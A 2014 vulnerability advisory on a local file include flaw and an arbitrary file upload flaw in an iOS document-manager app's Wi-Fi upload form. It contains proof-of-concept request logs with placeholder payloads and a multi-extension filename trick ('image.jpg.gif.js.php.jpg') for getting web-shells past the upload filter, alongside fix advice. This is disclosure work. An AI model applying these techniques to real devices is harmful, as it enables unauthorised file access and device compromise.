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Document Title:
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===============
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My PDF Creator & DE DM v1.4 iOS - Multiple Vulnerabilities
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1201
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Release Date:
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=============
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2014-02-16
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1201
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Common Vulnerability Scoring System:
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====================================
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7.3
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Product & Service Introduction:
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===============================
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My PDF Doc is the all-in-one document management solution for iPhone, iPod touch and iPad. It can catch documents from PC
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or Mac via USB cable or WIFI, email attachments, Dropbox and box and save it on your iPhone, iPod Touch or iPad locally. Cool
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app that allow you to create PDF from Map, Website and any other text files. My PDF Doc supports PDF, MS Office, iWorks and
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the most common file types.
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(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/my-pdf-creator-document-editor/id725481535 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official My PDF Creator &
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Document Editor (Document Manager) v1.4 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-02-16: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Apple AppStore
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Product: My PDF Creator & Document Editor (Document Manager) - iOS 1.4
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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1.1
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A local file include- and an arbitrary file upload vulnerability has been discovered in the official My PDF Creator &
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Document Editor (Document Manager) v1.4 iOS mobile web-application. The local file include web vulnerability allows
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remote attackers to unauthorized include local file/path requests or system specific path commands to compromise
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the web-application/device.
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The vulnerability is located in the upload file > submit module of the mobile web-application interface.
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Remote attackers can manipulate the `upload > submit` POST method request with the vulnerable `filename`
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value to compromise the application or connected device components. The issue allows remote attackers to
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include local app path values or wifi web-server files. The exploitation appears on the application-side
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and the inject request method is POST. The exection occurs in the main index file dir list or in the
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selected sub category folder/path. The security risk of the local file include web vulnerability is
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estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.3(+)|(-)7.4.
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Exploitation of the vulnerability requires no user interaction or privileged mobile application user account.
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Successful exploitation of the file include web vulnerability results in mobile application compromise,
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connected device compromise or web-server compromise.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] Upload File
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Vulnerable Procedure(s):
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[+] Submit
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] File Dir Index Listing (http://localhost:50496)
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[+] Sub Category (Path) Listing (http://localhost:50496/.xpath)
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1.2
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An arbitrary file upload web vulnerability has been discovered in the official My PDF Creator & Document Editor
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(Document Manager) v1.4 iOS mobile web-application. The arbitrary file upload issue allows remote attackers to
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upload files with multiple extensions to bypass the web-server or system validation. As result the attacker is
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mostly able to execute the uploaded malicious file.
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The vulnerability is located in the upload file module with the submit procedure. Remote attackers are able to upload
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a php or js web-shells by a rename of the file with multiple extensions to bypass the file restriction mechanism.
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The attacker uploads for example a web-shell with the following name and extension `image.jpg.gif.js.php.jpg`. After the
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upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file extension and can
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access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability
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is estimated as high with a cvss (common vulnerability scoring system) count of 6.7(-).
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Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged mobile application
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user account with password. Successful exploitation of the vulnerability results in unauthorized file access because of a
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compromise after the upload of web-shells.
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Request Method(s):
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[+] [POST]
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Vulnerable Module(s):
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[+] Upload File
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Vulnerable Parameter(s):
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[+] filename (multiple extensions)
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Affected Module(s):
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[+] File Dir Index Listing (http://localhost:50496)
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[+] Sub Category (Path) Listing (http://localhost:50496/.xpath)
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Proof of Concept (PoC):
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=======================
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1.1
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The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged mobile
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application user account. For security demonstration or to reproduce the vulnerability follow the information and steps below.
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PoC: File Dir Index Listing - filename
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<div id="module_main"><h2>Wi-Fi File Transfer</h2>
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<hr><div class="files"><bq>Files</bq>
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<p><a href="..">..</a><br> </p><a href="TESTER23.jpg">TESTER23</a>
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( 23.8 Kb, 2014-02-15 13:45:00 +0000)<br>
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<a href="<[LOCAL FILE INCLUDE VULNERABILITY!]>"><[LOCAL FILE INCLUDE VULNERABILITY!]"></a>
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( 23.8 Kb, 2014-02-15 13:45:46 +0000)<br />
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</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
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<label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
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<hr></div></div></div></center></body></html></iframe></a></div></div>
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PoC URL: http://localhost:50496/Box/[LOCAL FILE!]
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://localhost:50496/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[6660] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:50496]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:50496/Box/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------102971529617546
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Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]"
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Content-Type: image/jpeg
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1.2
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The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged mobile
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application user account. For security demonstration or to reproduce the vulnerability follow the information and steps below.
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PoC: File Dir Index Listing - filename (multiple extensions)
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<div id="module_main"><h2>Wi-Fi File Transfer</h2>
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<hr><div class="files"><bq>Files</bq>
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<p><a href="..">..</a><br> </p><a href="TESTER23.jpg">TESTER23</a>
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( 23.8 Kb, 2014-02-15 13:45:00 +0000)<br>
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<a href="<%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg>"><%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg"></a>
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( 23.8 Kb, 2014-02-15 13:45:46 +0000)<br />
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</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
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<label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
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<hr></div></div></div></center></body></html></iframe></a></div></div>
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PoC URL: http://localhost:50496/Box/%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://localhost:50496/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[6660] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[localhost:50496]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://localhost:50496/Box/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------102971529617546
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Content-Disposition: form-data; name="file"; filename="%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg"
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Content-Type: image/jpeg
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Solution - Fix & Patch:
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=======================
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1.1
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The vulnerability can be patched by a secure encode and parse of the vulnerable filename value in the upload file post submit method request.
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Encode also the vulnerable filename value in the file dir index output list to prevent future lfi attacks.
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1.2
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Setup a file filter mechanism and restrict the filename input in the vulnerable upload POST method request.
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Reconfigure the uplaod file access right to prevent future arbitrary file uplaod with unauthorized executable access.
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Security Risk:
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==============
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1.1
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The security risk of the local file include web vulnerability is estimated as high.
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1.2
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The security risk of the arbitrary file upload web vulnerability is estimated as high(-).
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Katharin S. L. (CH) (research@vulnerability-lab.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
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Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
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Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
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modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
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Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |